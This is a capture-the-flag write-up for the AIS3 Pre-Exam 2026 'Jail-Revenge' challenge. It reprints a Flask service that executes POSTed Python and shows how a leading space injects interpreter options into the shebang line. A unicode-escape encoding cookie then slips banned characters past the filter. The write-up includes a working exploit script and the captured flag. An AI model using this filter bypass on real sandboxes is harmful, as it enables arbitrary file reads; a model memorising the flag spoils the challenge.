【AIS3 Pre-Exam 2026 Writeup】Misc - Jail-Revenge
Source from / was enough to start.
#flag is at /flag
from flask import Flask,request,send_file
import os,time,uuid,unicodedata
app = Flask(__name__)
shebang = '#!/usr/local/bin/python3'
@app.route('/')
def index(): return send_file(__file__)
@app.post('/<uid>')
def run(uid):
uuid.UUID(uid)
d = unicodedata.normalize("NFKC", request.data.decode())
assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50
open(f"data/{uid}","w").write(shebang + d)
os.chmod(f"data/{uid}", 0o755)
os.popen(f"./data/{uid} > ./output/{uid}")
time.sleep(1)
r = open(f"output/{uid}","r").read()
return r
Flag path is already shown as /flag.
The handler takes POST body, normalizes it with NFKC, checks some bad chars, writes it after a Python shebang, and executes the file.
Source-level protections are simple but annoying:
()_[]{}.@#
First line also must be shorter than 50 chars.
At first this looked like a normal Python jail. Direct code like this is blocked:
print(open('/flag').read())
It needs (, ), and ., all banned.
Unicode tricks also looked bad. The server runs NFKC before the check, so fullwidth parentheses or similar characters become normal banned characters. No path there.
Another early mistake was HTTP body parsing. When I sent data with a form-like content type, Flask treated it as form data and request.data became empty. The response had no useful output, so I first thought maybe the payload was running but doing nothing. It was just the wrong request format.
The request must use raw body:
Content-Type: application/octet-stream
Forcing shell fallback with a broken or very long shebang was another idea. The first line length check stops the long-line trick. A malformed interpreter path only gives no useful stdout here. No trigger, no path.
No useful gdb path existed for this one. It is a Flask/Python source challenge, not a native ELF. The local debugging was about Linux shebang behavior and Python source decoding. glibc printf was also not a trigger. The only printing primitive was Python print, but normal print(...) was blocked by the jail.
Useful detail:
open(f"data/{uid}","w").write(shebang + d)
No newline after shebang.
If the body starts with a space, it becomes part of the first line:
#!/usr/local/bin/python3 <our text>
That means the input controls Python command-line options.
Local tests with small executable files confirmed this behavior:
#!/usr/bin/python3 -Xx coding:unicode-escape
print\x28'hi'\x29
It prints:
hi
The first line does two jobs.
For the kernel, it is a shebang with Python option:
-Xx coding:unicode-escape
Python accepts the -X option. The exact x ... value is not important for execution.
For Python source parsing, the first line is also a comment containing an encoding cookie:
coding:unicode-escape
Python decodes the source with unicode-escape.
The jail checks the raw text after NFKC. It sees:
print\x28'hi'\x29
No literal ( or ).
But after Python decodes the source:
\x28 -> (
\x29 -> )
\x2e -> .
This text:
print\x28open\x28'/flag'\x29\x2eread\x28\x29\x29
becomes:
print(open('/flag').read())
Small test first:
#!/usr/bin/env python3
import urllib.request
import uuid
url = f"http://chals1.ais3.org:10002/{uuid.uuid4()}"
payload = b" -Xx coding:unicode-escape\nprint\\x28'hi'\\x29\n"
req = urllib.request.Request(
url,
data=payload,
method="POST",
headers={"Content-Type": "application/octet-stream"},
)
with urllib.request.urlopen(req, timeout=10) as r:
print(r.read().decode(errors="replace"))
It printed:
hi
For flag, only the code line changes.
Full exploit:
#!/usr/bin/env python3
import urllib.request
import uuid
HOST = "http://chals1.ais3.org:10002"
def post(payload: bytes) -> str:
url = f"{HOST}/{uuid.uuid4()}"
req = urllib.request.Request(
url,
data=payload,
method="POST",
headers={"Content-Type": "application/octet-stream"},
)
with urllib.request.urlopen(req, timeout=10) as r:
return r.read().decode(errors="replace")
payload = (
b" -Xx coding:unicode-escape\n"
b"print\\x28open\\x28'/flag'\\x29\\x2eread\\x28\\x29\\x29\n"
)
print(post(payload), end="")
Output:
#!/bin/true
#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}
Flag:
AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}